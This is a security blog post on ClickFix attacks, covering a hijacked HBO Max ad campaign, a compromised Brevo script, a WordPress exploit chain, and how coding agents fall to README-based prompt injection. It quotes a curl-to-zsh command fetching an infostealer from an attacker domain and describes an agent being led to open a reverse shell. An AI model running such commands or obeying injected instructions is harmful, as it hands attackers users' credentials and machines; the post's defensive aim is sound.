Copy. Paste. Owned.

September’s biggest attacks all ended at a command prompt, and attackers don’t care whether a person or an AI agent is typing.

Pasting commands into a terminal is not new. Every developer has installed something with curl piped into bash, and every README on GitHub opens with a block of commands you are supposed to copy.

What is new is how many people are doing it now, and how hard attackers are leaning on that habit. Getting started with AI agents usually means opening a terminal, installing a CLI, and pasting whatever the setup guide says. A huge number of people who had never seen a shell prompt a year ago are now completely comfortable being told to open one and paste something in.

The result is that a terminal prompt is now a much bigger social-engineering target than it used to be. The technique has a name: ClickFix. A page shows you a fake CAPTCHA, a fake error, or a fake installer and gives you a command that will supposedly fix it. You paste it, hit Enter, and an infostealer runs under your account.

This post is about how ClickFix became the most common way into an organization, why the same move works on an agent, and what we should be doing about both.

Two ClickFix campaigns in one week

In early September, HBO Max’s verified Reddit account was hijacked and used to run 108 malicious ads in about 48 hours. Click one and you landed on a convincing fake HBO Max site with instructions to open Terminal and paste a command to install the app. The macOS version boiled down to this:

$ curl -sL "https://ember-bridge[.]com/curl/.../setup.sh" | zsh

That one line fetched a shell script from the attacker’s domain and piped it straight into zsh. The payloads on the other end were infostealers and crypto clippers.

The breakdown of the ads is the interesting part. 46 of the 108 used HBO Max as the lure. 36 impersonated AI coding tools, and another 11 pushed fake developer utilities. This campaign was aimed at developers, because developers already run curl | bash a few times a week and I guess some stopped reading what was in them.

Then, on September 14, attackers modified JavaScript that email platform Brevo serves on its customers’ websites. Sansec’s timeline puts the first injection at 16:05 UTC and the last at 20:12 UTC. In about four hours, the script reached more than 100,000 websites, including some very large brands. Visitors got a fake Cloudflare verification page followed by ClickFix instructions to run a command on Windows.

Sansec found evidence consistent with a compromise of Brevo’s Cloudflare account, which would explain both the DNS changes and the modified responses, but that root cause has not been confirmed publicly.

The script had a second branch too. If the visitor was logged into WordPress as an administrator, it skipped the social engineering and used the admin’s own session to upload and activate a backdoor plugin. No prompt and no paste, just a POST to update.php from a browser that was already trusted.

The numbers

ClickFix is not new – it’s been around since at least 2023. The Microsoft Digital Defense Report 2025 put it at 47 percent of the initial access attacks observed in Defender Experts notifications, ahead of traditional phishing at 35 percent. The most common way into an organization is now a person typing a command.

ESET’s H1 2026 Threat Report found detections up another 108 percent from the second half of 2025 to the first half of 2026. The technique spread from fake CAPTCHAs to macOS, compromised WordPress sites, browser extensions, and a variant ESET calls “AI-fix”, where malicious instructions are dressed up as AI-generated troubleshooting for a problem you do not have.

Why it works

ClickFix works because much of the defensive stack is looking for a file. The mail gateway scans attachments, the endpoint agent watches for suspicious binaries landing on disk, and the browser warns you about downloads.

In a ClickFix attack, the person opens PowerShell or Terminal and runs a command that fetches the payload at runtime. What the endpoint agent sees is a user launching a shell and running curl, which is what half the people in an engineering organization do all day. The telemetry looks normal because a human really did run it.

The other half is that the instruction feels legitimate. Anyone who has set up a development environment has followed a wall of copy and paste commands from a README, and anyone who has installed an AI coding tool in the last year has probably done it more than once. The attacker is handing you the same kind of box you see in every setup guide and counting on the fact that you stopped reading what is in that box a long time ago.

The same trick works on agents

I have spent the last two weeks writing about running AI agents on an old MacBook, and I run them all day. They read web pages and READMEs, they run commands, and they want very badly to finish the task.

So what happens when the README is the attack?

Mozilla’s 0DIN team answered that in June with a proof of concept against coding agents, Claude Code among them. The repository contains no visible malicious payload. Its README has normal setup instructions. A Python package is engineered to fail on first run and point the agent at an initialization command. That command runs a setup script, pulls a value from a DNS TXT record the attacker controls, and pipes the result to bash.

The agent, trying to unblock the install, hands the attacker a reverse shell with the developer’s privileges and every credential in the environment. Code review passes because the payload is not in the repository.

That is ClickFix with the agent as the victim.

Then there is the allowlist problem. Cursor’s CVE-2026-22708, fixed in version 2.3, let an injected prompt use shell built-ins to change environment variables without approval. Once the environment was poisoned, an allowlisted command could run the attacker’s payload.

The allowlist is what approved the attack. I have built allowlists like that, and I understand exactly how it happened.

Google’s security team has also been scanning the public web for prompt injection payloads aimed at agents. It found a 32 percent relative increase in the malicious category between November 2025 and February 2026, with payloads hidden as invisible text in page source and, in some cases, inserted by automated SEO tools.

The payloads are crude so far. One instructs any coding assistant with shell access to delete every file on the user’s machine. Google’s conclusion is that the threat is maturing and will grow in both scale and complexity.

Every story in this section has the same mechanics: an agent read untrusted text, treated it as an instruction, and acted on it.

The exposure is already wide. In its State of AI Agent Security 2026 report, Gravitee surveyed 919 executives and practitioners. 88% percent reported a confirmed or suspected AI-agent security incident in the previous year. Only 21.9 percent treated agents as independent identities, and 45.6 percent still authenticated agent to agent traffic with shared API keys.

Most of us are giving agents a terminal before we give them a login.

The WordPress part

On September 18, researcher Paulos Yibelo published a chain he named Click2Shell. A logged in administrator could be induced to load a crafted URL. Because the backend and frontend JavaScript interpreted a theme slug differently, the page could silently install and preview a theme chosen by the attacker. A weakness in a theme from the official directory could then be chained into running the attacker’s PHP on the server.

The fix shipped in WordPress 7.1.1 on September 17, and we had it closed on WordPress.com well before the release went public. Specifically, 7.1.1 closed the first link in the chain: it escaped the theme slug before using it in a jQuery selector and limited the selector to actual theme elements. The slug is now treated as text instead of selector syntax, so a crafted URL can no longer make the page click an Install or Preview button on the attacker’s behalf. There is no evidence the chain was used in the wild, and sites with DISALLOW_FILE_MODS set were not exposed to the install step.

Put it next to the Brevo admin branch and the Cursor bug and the pattern is the same. In all three, the attacker never touches a password. They need a session or a tool that is already trusted, plus one link, one script, or one README. That is enough.

Update your sites. Turn on automatic updates for WordPress core. Set DISALLOW_FILE_MODS on any site where you do not install things from the dashboard anyway.

What to do about it

This did not change the way I work. I was never going to paste a random curl command into a shell because a web page told me to. But plenty of people will, and agents are now doing the equivalent automatically. So these are the rules I think matter.

For people

• If a web page tells you to open a terminal, close the web page. There is no legitimate CAPTCHA on earth that requires PowerShell or Mac Terminal. I am not kidding.
• Read the command before you run it. If it is Base64, that’s a huge red flag. If it pipes curl into a shell, you are trusting a URL you have not checked with your entire user account.
• A verified badge means the account was verified once. HBO Max did not post those ads.

For agents

• Treat every README, issue, comment, and web page the agent reads as untrusted input. If an attacker could have written it, it can contain instructions.
• Run agents in a sandbox or container without your real credentials in it. If the agent can read your SSH keys and cloud tokens, so can whatever it just ran.
• Give every agent its own identity with its own scoped permissions. With a shared API key, you cannot tell which agent did what, and you cannot revoke just one.
• Restrict network egress. The Mozilla proof of concept hid its payload in a DNS TXT record. An agent has no reason to reach arbitrary hosts just because a script asked.

For anyone who runs a website

• Every third party script you embed is a third party with write access to your page. The Brevo attack touched zero customer servers and still reached more than 100,000 sites.
• Admin sessions are the crown jewels. Be careful.

For twenty years, the hard part of an attack was execution: getting code to run on the target. We built an entire industry around making that hard.

ClickFix gets the user to do it. Prompt injection gets an agent to do it. Either way, the attacker never has to break in. They just ask and sometimes it just works 😬.

You will not remember a checklist at 11pm when an install fails and a page offers to fix it. So remember one rule:

If a web page tells you to open a terminal, close the web page.

Your agent should follow the same rule.